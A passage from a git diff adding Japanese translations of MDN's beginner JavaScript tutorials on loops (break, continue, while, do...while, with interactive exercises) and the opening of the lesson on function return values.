for="search">連絡先の名前: </label> +<input id="search" type="text"> +<button>検索</button> + +<p></p></pre> + +<p>現在の JavaScript について：</p> + +<pre class="brush: js notranslate">const contacts = ['クリス:2232322', 'サラ:3453456', 'ビル:7654322', 'メアリー:9998769', 'ダイアン:9384975']; +const para = document.querySelector('p'); +const input = document.querySelector('input'); +const btn = document.querySelector('button'); + +btn.addEventListener('click', function() { + let searchName = input.value.toLowerCase(); + input.value = ''; + input.focus(); + for (let i = 0; i < contacts.length; i++) { + let splitContact = contacts[i].split(':'); + if (splitContact[0].toLowerCase() === searchName) { + para.textContent = splitContact[0] + ' の電話番号は ' + splitContact[1] + ' です。'; + break; + } else { + para.textContent = '連絡先が見つかりません。'; + } + } +});</pre> + +<div class="hidden"> +<h6 id="Hidden_code_3" name="Hidden_code_3">Hidden code 3</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>連絡先検索の例</title> + <style> + + </style> + </head> + <body> + + <label for="search">連絡先の名前: </label> + <input id="search" type="text"> + <button>検索</button> + + <p></p> + + + <script> + const contacts = ['クリス:2232322', 'サラ:3453456', 'ビル:7654322', 'メアリー:9998769', 'ダイアン:9384975']; + const para = document.querySelector('p'); + const input = document.querySelector('input'); + const btn = document.querySelector('button'); + + btn.addEventListener('click', function() { + let searchName = input.value; + input.value = ''; + input.focus(); + for (let i = 0; i < contacts.length; i++) { + let splitContact = contacts[i].split(':'); + if (splitContact[0] === searchName) { + para.textContent = splitContact[0] + ' の電話番号は ' + splitContact[1] + ' です。'; + break; + } else { + para.textContent = '連絡先が見つかりません。'; + } + } + }); + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_3', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<ol> + <li>コードの先頭で、いくつか変数を宣言しています。その中に、連絡先の情報を持った配列があり、各要素は名前と電話番号をコロンで区切った文字列となっています。</li> + <li>次に、ボタン (<code>btn</code>) にイベントリスナーを設定しています。ボタンが押されたときに検索結果が戻ってくるようになっています。</li> + <li>テキスト入力欄に入力された値を <code>searchName</code> という変数に格納してから、次の検索に備え、入力欄をクリアし、フォーカスを設定しています。検索に大文字小文字を気にしないよう、文字列に <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">toLowerCase()</a></code> を実行しているのに注意してください。</li> + <li>ここからが本題の for ループです。 + <ol> + <li>カウンター変数を <code>0</code> から始め、<code>contacts.length</code> より小さくなくなるまで、ループの繰り返しの度に <code>i</code> を 1 増やしていきます。</li> + <li>ループの内側では、まず現在の連絡先 (<code>contacts[i]</code>) をコロンの文字で分割し、<code>splitContact</code> という配列に格納します。</li> + <li>それから、条件文を用いて、<code>splitContact[0]</code> (連絡先の名前) が入力された <code>searchName</code> にまた <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">toLowerCase()</a></code> を使って小文字化したものと等しいかを判定します。もし等しければ、連絡先の電話番号を段落 ({{htmlelement("p")}} 要素) に表示し、<code>break</code> を使用してループを終了しています。</li> + </ol> + </li> + <li> <code>(contacts.length-1)</code> 回目の繰り返しの後に、もし連絡先の名前が入力された検索語に一致しなければ、段落に「連絡先が見つかりません。」という文字列を表示し、条件が true では無くなるまでループを継続します。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html">すべてのソースは GitHub</a> で見ることができます (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html">動いているデモ</a>もあります)。</p> +</div> + +<h2 id="Skipping_iterations_with_continue" name="Skipping_iterations_with_continue">continue で繰り返しをスキップする</h2> + +<p><a href="/ja/docs/Web/JavaScript/Reference/Statements/continue">continue</a> 文は <code>break</code> と同じような動作をします。けれど、ループを完全に抜けてしまうのではなく、次の繰り返しまで飛ばします。それでは、今度は入力として数値を受け取り、その数以下で整数の平方である値のみを返すという例を見てみましょう。</p> + +<p>HTML は基本的に先ほどの例と同様で、1 つのテキストボックスと出力用の段落があります。JavaScript もループ自体を除けばほぼ同じですので、違う部分のみを示します。</p> + +<pre class="brush: js notranslate">let num = input.value; + +for (let i = 1; i <= num; i++) { + let sqRoot = Math.sqrt(i); + if (Math.floor(sqRoot) !== sqRoot) { + continue; + } + + para.textContent += i + ' '; +}</pre> + +<p>出力結果はこちらです。</p> + +<div class="hidden"> +<h6 id="Hidden_code_4" name="Hidden_code_4">Hidden code 4</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>整数の平方根の生成</title> + <style> + + </style> + </head> + <body> + + <label for="number">数値を入力してください: </label> + <input id="number" type="text"> + <button>整数の平方根を生成</button> + + <p>出力結果: </p> + + + <script> + const para = document.querySelector('p'); + const input = document.querySelector('input'); + const btn = document.querySelector('button'); + + btn.addEventListener('click', function() { + para.textContent = 'Output: '; + let num = input.value; + input.value = ''; + input.focus(); + for (let i = 1; i <= num; i++) { + let sqRoot = Math.sqrt(i); + if (Math.floor(sqRoot) !== sqRoot) { + continue; + } + + para.textContent += i + ' '; + } + }); + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<ol> + <li>今回の入力内容は数値 (<code>num</code>) です。<code>for</code> ループには、カウンターの初期値として、(今回は 0 ではなく) 1 が与えられ、終了する条件としてカウンターが入力値 (<code>num</code>) より大きくなった場合と指定されており、イテレーターとして、カウンターに 1 ずつ加算するよう指定されています。</li> + <li>ループ内部では、各値の平方根を <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a> を使用して求め、求めた平方根を切り捨てた値が、切り捨てる前の平方根と等しいかどうかを調べています (切り捨てには <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a> に任意の数値を渡します)。</li> + <li>もし、平方根と切り捨てた数値が等しくないのなら (<code>!==</code>)、平方根は整数ではないことを示しています。整数以外には興味がありませんので、<code>continue</code> 文を用いて、その数値をどこにも保持することなく、次のループの繰り返しまでスキップします。</li> + <li>もし、その平方根が整数値であるならば、if ブロックは飛ばされるので、<code>continue</code> 文は実行されません。代わりに、現在の <code>i</code> の値を段落の内容の後ろにスペースと一緒に結合します。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html">すべてのソースは GitHub</a> でも見ることができます (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html">動いているデモ</a>もあります)。</p> +</div> + +<h2 id="while_and_do_..._while" name="while_and_do_..._while">while と do ... while</h2> + +<p><code>for</code> は JavaScript で利用可能な唯一のループのタイプではありません。実際には多くのものがありますが、これらのすべてを理解する必要はありませんが、仕事の同じ機能をわずかに異なる方法で認識できるように、他のものの構造を見ておく価値があります。<br> + <br> + まず、while ループを見てみましょう。このループの構文は次のようになります。</p> + +<pre class="notranslate">初期化処理 +while (条件) { + // 実行するコード + + 最後の式 +}</pre> + +<p>これは for ループとよく似ていますが、初期化条件はループの前に設定され、最後の式は実行するコードの後のループ内に含まれます。これら二つの項目は丸括弧の中に含まれません。条件は、<code>for</code> ではなく <code>while</code> キーワードが前に付いた括弧内に含まれています。<br> + <br> + for ループにもある３つの項目が、for ループとおなじ順序で定義されています。これは理にかなっています。条件が true では無くなるポイントに達したかどうかを確認する前に初期化処理を定義する必要があります ; ループ内のコードが実行された後（1回の繰り返しの完了）、最期の式が実行されます。これは、条件がまだ true である場合にのみ発生します。<br> + <br> + 猫のリストの例をもう一度見てみましょう。ただし、while ループを使うように書き直してみましょう：</p> + +<pre class="brush: js notranslate">let i = 0; + +while (i < cats.length) { + if (i === cats.length - 1) { + info += 'and ' + cats[i] + '.'; + } else { + info += cats[i] + ', '; + } + + i++; +}</pre> + +<div class="note"> +<p><strong>注</strong>: これは期待どおりに動作します。<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">GitHub でライブ実行</a>してみてください（<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">完全なソースコード</a>を見ることもできます）。</p> +</div> + +<p><a href="/ja/docs/Web/JavaScript/Reference/Statements/do...while">do ... while</a> ループは非常によく似ていますが、while構造にはバリエーションがあります。</p> + +<pre class="notranslate">初期化処理 +do { + // 実行するコード + + 最後の式 +} while (条件)</pre> + +<p>この場合、初期化処理は、ループが始まる前に、再び最初に来ています。キーワードは、実行するコードと最期の式を含む中括弧の直前にあります。</p> + +<p>ここでの違いは、条件がほかの全ての後にあり、括弧で囲まれ、その前に <code>while</code> キーワードが付いていることです。<code>do...while</code> ループでは、中括弧内のコードは、チェックが再度実行されるかどうかを確認する前に常に 1 回実行されます (while と for の場合、チェックが最初に来るため、コードは実行されない可能性があります) 。<br> + <br> + <code>do...while</code> ループを使用するように、猫のリストの例をもう一度書き直してみましょう：</p> + +<pre class="brush: js notranslate">let i = 0; + +do { + if (i === cats.length - 1) { + info += 'and ' + cats[i] + '.'; + } else { + info += cats[i] + ', '; + } + + i++; +} while (i < cats.length);</pre> + +<div class="note"> +<p><strong>注</strong>: 再度、これは期待どおりに動作します。<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">GitHub でライブ実行</a>してみてください（<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">完全なソースコード</a>を見ることもできます）。</p> +</div> + +<div class="warning"> +<p><strong>重要</strong>: while と do ... while では、すべてのループと同様に、カウンター変数を増加、もしくは場合により減少させて、最終的に条件が false となるようにする必要があります。そうしなければループは永遠に進み、ブラウザーはそれ強制的に停止させるか、クラッシュします。これは<strong>無限ループ</strong>と呼ばれます。</p> +</div> + +<h2 id="Active_learning_Launch_countdown!" name="Active_learning_Launch_countdown!">アクティブラーニング: カウントダウンを開始します!</h2> + +<p>この練習では、出力ボックスへの簡単な起動カウントダウンを 10 から Blast off まで印字してください。具体的には、</p> + +<ul> + <li>10 から 0 までのループ。イニシャライザを提供します — <code>let i = 10;</code>.</li> + <li>各繰り返しに対して、新しい段落を作成し、それを出力<div>に追加します。これは、<code>const output = document.querySelector('.output');</code>を使用して選択したものです。コメントでは、ループ内のどこかで使用する必要がある 3 つのコード行を提供しました + <ul> + <li><code>const para = document.createElement('p');</code> — 新しいパラグラフを作成します</li> + <li><code>output.appendChild(para);</code> — 出力の <code><div></code>にパラグラフを追加します。</li> + <li><code>para.textContent =</code> — パラグラフ内のテキストを、イコールの後の右辺においたものにする。</li> + </ul> + </li> + <li>反復回数が異なると、その反復の段落に異なるテキストを入れる必要があります（条件文と複数の <code>para.textContent =</code> 行が必要です）。 + <ul> + <li>数字が 10 の場合、パラグラフに "Countdown 10" と出力する。</li> + <li>数字が 0 の場合、パラグラフに "Blast off!" と出力する。</li> + <li>その他の数字では、パラグラフにその数字を出力する。</li> + </ul> + </li> + <li>イテレーターを含めることを忘れないでください！ですが、この例では各反復の後にカウント(アップではなく)ダウンするため、<code>i++</code> は要らないでしょう — 減少方向にどうやって反復しますか？</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: あなたがループ(例えば (while(i>=0))からタイピングを始めると、ブラウザが固まってしまうかもしれません。終了条件をまだ入力していないからです。注意して下さい。この問題に対処するにはコメントの中にコードを書き始めて、完了してからコメントを削除することです。</p> +</div> + +<p>間違えた場合は、「リセット」ボタンを使用してこの例をいつでもリセットできます。あなたが本当に立ち往生したら、"ソリューションを表示"を押して解決策を見てください。</p> + +<div class="hidden"> +<h6 id="Active_learning" name="Active_learning">Active learning</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> +<div class="output" style="height: 410px;overflow: auto;"> + +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> +<textarea id="code" class="playable-code" style="height: 300px;width: 95%"> +let output = document.querySelector('.output'); +output.innerHTML = ''; + +// let i = 10; + +// const para = document.createElement('p'); +// para.textContent = ; +// output.appendChild(para); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +let jsSolution = 'const output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i >= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Active_learning', '100%', 880, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Active_learning_Filling_in_a_guest_list" name="Active_learning_Filling_in_a_guest_list">アクティブラーニング: ゲストリストに記入する</h2> + +<p>この演習では、配列に格納された名前のリストを取得して、それらをゲストリストに入れることが必要です。しかし、これはそれほど簡単ではありません — 彼らは貪欲で失礼で、常にすべての食べ物を食べるので、私たちはフィルとローラを入れさせたくありません！ 私たちは 2 つのリストを持っています。1 つは承認するゲストのためのもの、もう 1 つは拒否するゲストのためのものです。<br> + <br> + 具体的には、</p> + +<ul> + <li>0 から <code>people</code> 配列の長さまで反復するループを作成します。<code>let i = 0;</code> の初期化処理で始める必要がありますが、どのような条件が必要ですか？</li> + <li>各ループ反復中に、条件文を使用して現在の配列項目が "Phil" または "Lola" に等しいかチェックします。 + <ul> + <li>そうである場合は、<code>refused</code> パラグラフの <code>textContent</code> の最後に配列項目を連結し、その後にカンマとスペースを続けます</li> + <li>そうでない場合は、配列項目を、<code>admitted</code> パラグラフの <code>textContent</code> の末尾に連結し、その後にカンマとスペースを続けます</li> + </ul> + </li> +</ul> + +<p>私たちはすでにあなたに次のものを提供しました：</p> + +<ul> + <li><code>let i = 0;</code> — イニシャライザー</li> + <li><code>refused.textContent +=</code> — <code>refused.textContent</code> の後に文字を連結する開始行</li> + <li><code>admitted.textContent +=</code> — <code>admitted.textContent</code> の後に文字を連結する開始行</li> +</ul> + +<p>特別ボーナス問題 — 上のタスクを正常に完了すると、カンマで区切られた 2 つの名前リストが残されますが、それらは整頓されません。それぞれの末尾にカンマがあります。それぞれの場合に最後のカンマを切り取り、末尾にピリオドを追加した行をどのように書くかという問題を解決出来ますか？ヘルプのため<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a>の記事を見てみてください。<br> + <br> + 間違えた場合は、「リセット」ボタンを使用してこの例をいつでもリセットできます。あなたが本当に立ち往生したら、"ソリューションを表示"を押して解決策を見てください。</p> + +<div class="hidden"> +<h6 id="Active_learning_2" name="Active_learning_2">Active learning 2</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> +<div class="output" style="height: 100px;overflow: auto;"> + <p class="admitted">Admit: </p> + <p class="refused">Refuse: </p> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> +<textarea id="code" class="playable-code" style="height: 400px;width: 95%"> +const people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce']; + +const admitted = document.querySelector('.admitted'); +const refused = document.querySelector('.refused'); +admitted.textContent = 'Admit: '; +refused.textContent = 'Refuse: ' + +// let i = 0; + +// refused.textContent += ; +// admitted.textContent += ; + +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +const jsSolution = 'const people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nconst admitted = document.querySelector(\'.admitted\');\nconst refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nlet i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const tcaretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Active_learning_2', '100%', 680, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Which_loop_type_should_you_use" name="Which_loop_type_should_you_use">どのタイプのループを使用しますか？</h2> + +<p>基本的な用途では for、while、do ... while ループはほぼ互換性があります。それらはすべて同じ問題を解決するために使用することができます。どちらを使用するかは、あなたの個人的な好みに大きく左右されます。これは、どれが最も覚えやすいか、最も直感的かということです。それらをもう一度見てみましょう。</p> + +<p>まずは <code>for</code>:</p> + +<pre class="notranslate">for (初期化処理; 条件; 最後の式) { + // 実行するコード +}</pre> + +<p><code>while</code>:</p> + +<pre class="notranslate">初期化処理 +while (条件) { + // 実行するコード + + 最後の式 +}</pre> + +<p>そして最後は <code>do...while</code>:</p> + +<pre class="notranslate">初期化処理 +do { + // 実行するコード + + 最後の式 +} while (条件)</pre> + +<p>少なくとも最初は <code>for</code> から始めることをお勧めします。すべてを覚えておくことが簡単だからです。初期化処理、条件、最後の式をすべて括弧内にきちんと入れなければならないので、それらがどこにあるかや見落としていないことの確認が簡単です。</p> + +<div class="note"> +<p><strong>注</strong>: 高度な/特殊な状況やこの記事の範囲を超えて有用な、他のループタイプ/機能もあります。ループ学習をさらに進めたい場合は、高度な<a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Guide/Loops_and_iteration">ループと反復処理ガイド</a>をお読みください。</p> +</div> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？移動する前に、情報を維持しているか検証するテストを見ることができます — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Loops">Test your skills: Loops</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>この記事では、背後にある基本的な概念と、JavaScript でコードをループする際に使用できるさまざまなオプションについて説明しました。今はループが反復コードを処理するための良い仕組みである理由がはっきり分かり、自身の例で使用できることを誇らしく思うでしょう。<br> + <br> + あなたが理解できなかったことがあれば、記事をもう一度読んだり、ヘルプを求めて<a href="/ja/docs/Learn#Contact_us">私たちに連絡</a>してください。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/JavaScript/Guide/Loops_and_iteration">ループと反復処理</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Statements/for">for文のリファレンス</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Statements/while">while</a> と <a href="/ja/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> リファレンス</li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Statements/break">break</a> と <a href="/ja/docs/Web/JavaScript/Reference/Statements/continue">continue</a> リファレンス</li> + <li> + <p class="entry-title"><a href="https://www.impressivewebs.com/javascript-for-loop/">What’s the Best Way to Write a JavaScript For Loop?</a> — 高度なループのベストプラクティス</p> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/return_values/index.html b/files/ja/learn/javascript/building_blocks/return_values/index.html new file mode 100644 index 0000000000..e9a13429b5 --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/return_values/index.html @@ -0,0 +1,201 @@ +--- +title: 関数の戻り値 +slug: Learn/JavaScript/Building_blocks/Return_values +tags: + - リターン + - リターン値 + - 戻り値 + - 返り値 + - 返却値 + - 関数 +translation_of: Learn/JavaScript/Building_blocks/Return_values +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary"><span class="seoSummary">このコースでの関数の学習を終えるために、最後に議論しておくべき関数についての大事なコンセプトがあります。それは戻り値です。関数によっては意味のある値を返さないものもありますが、値を返すものも当然あります。それらの値が何であるか、あなたのコードの中でどのように利用するのか、またどのように関数に意味のある値を返させるのかについて理解することは重要です。これらについてすべてを以下で紹介します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、基本的な HTML と CSS の知識、<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript初級レベルの知識</a>、<a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数の知識</a></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>関数の戻り値とその使い方を理解すること</td> + </tr> + </tbody> +</table> + +<h2 id="What_are_return_values" name="What_are_return_values">戻り値とは？</h2> + +<p><strong>戻り値</strong>は、その名が示すとおり関数の実行が完了した時に返される値です。戻り値についてそこまで意識してこなかったかもしれませんが、これまでに何度も戻り値を見てきているはずです。</p> + +<p>以下の見覚えのある例を見てみましょう (このシリーズの<a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">過去の記事</a>より) 。</p> + +<pre class="brush: js notranslate">let myText = 'I am a string'; +let newString = myText.replace('string', 'sausage'); +console.log(newString); +// 文字列の replace() 関数は文字列を受け取り、 +// 一方の部分文字列をもう一方の部分文字列に置き換え、 +// 置き換えられた新しい文字列を返します。 +</pre> + +<p><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code> 関数が <code>myText</code> という文字列の上で実行され、2 つの引数が渡されています:</p> + +<ol> + <li>置換される部分文字列 ('string')。</li> + <li>置換する部分文字列 ('sausage')。</li> +</ol> + +<p>この関数が完了 (実行が終了) した時に、関数は置換された新しい文字列を値として返します。上記のコードでは、この戻り値を <code>newString</code> 変数に代入しています。</p> + +<p><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code> 関数についての MDN のリファレンスページには、<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">戻り値</a> というセクションがあります。関数によって返される値が何か知り把握することはとても大事です。従って、可能な限りこちらも見るようにしてください。</p> + +<p>関数によっては何も値を返しません (この場合、リファレンスページでは戻り値を <code><a href="/ja/docs/Web/JavaScript/Reference/Operators/void">void</a></code> または <code><a href="/ja/docs/Glossary/undefined">undefined</a></code> として記載しています)。たとえば、前の記事で作った <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50">displayMessage()</a> 関数では、関数が実行されたときに特定の値は返されていません。ただスクリーンのどこかにボックスの表示を作っているだけです。</p> + +<p>一般的に、戻り値は関数がある種の計算をしている途中の段階で使用されます。 関数で計算する必要があるいくつかの値を含む最終結果を取得したいとします。関数は値を計算した後、結果を返すことができるため、変数に格納できます。この変数は、計算の次の段階で使用できます。</p> + +<h3 id="Using_return_values_in_your_own_functions" name="Using_return_values_in_your_own_functions">オリジナル関数での戻り値の使い方</h3> + +<p>カスタム関数から値を返すために、必要なことは、<a href="/ja/docs/Web/JavaScript/Reference/Statements/return">return</a> というキーワードを使うことです。直近の <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> の例でこれを見たでしょう。<code>draw()</code> 関数は 100 のランダムな円を HTML 内に表示します。<br> + {{htmlelement("canvas")}}:</p> + +<pre class="brush: js notranslate">function draw() { + ctx.clearRect(0, 0, WIDTH, HEIGHT); + for (let i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } +} +</pre> + +<p>ループの繰り返しの中で、現在の円の <em>x 座標</em>、<em>y 座標</em>、<em>半径</em>それぞれのランダムな値を生成するために <code>random()</code> 関数に対して3 回の呼び出しが行われます。<code>random()</code> 関数はひとつの引数 (整数) を受け取り、<code>0</code> からその受け取った数値までの乱数を返します。以下のようになります。</p> + +<pre class="brush: js notranslate">function random(number) { + return Math.floor(Math.random() * number); +} +</pre> + +<p>次のように書くことも可能です。</p> + +<pre class="brush: js notranslate">function random(number) { + const result = Math.floor(Math.random() * number); + return result; +} +</pre> + +<p>しかし最初のものの方がよりコンパクトで、効率よく書けています。</p> + +<p>関数が呼び出されるたびに、<code>Math.floor(Math.random() * number)</code> の計算の結果が返されます。この戻り値は、関数が呼び出された場所に現れて、コードが続行されます。</p> + +<p>したがって、以下を実行すると:</p> + +<pre class="brush: js notranslate">ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); +</pre> + +<p>この時、3 つの <code>random()</code> がそれぞれ <code>500</code>、<code>200</code>、<code>35</code> と値を返した場合、このコードは実際には次のように実行されたことになります。</p> + +<pre class="brush: js notranslate">ctx.arc(500, 200, 35, 0, 2 * Math.PI); +</pre> + +<p>コード上の関数の呼び出しがまず行われ、その戻り値が関数の呼び出しの代わりとなり、その後にコードそのものが実行されます。</p> + +<h2 id="Active_learning_our_own_return_value_function" 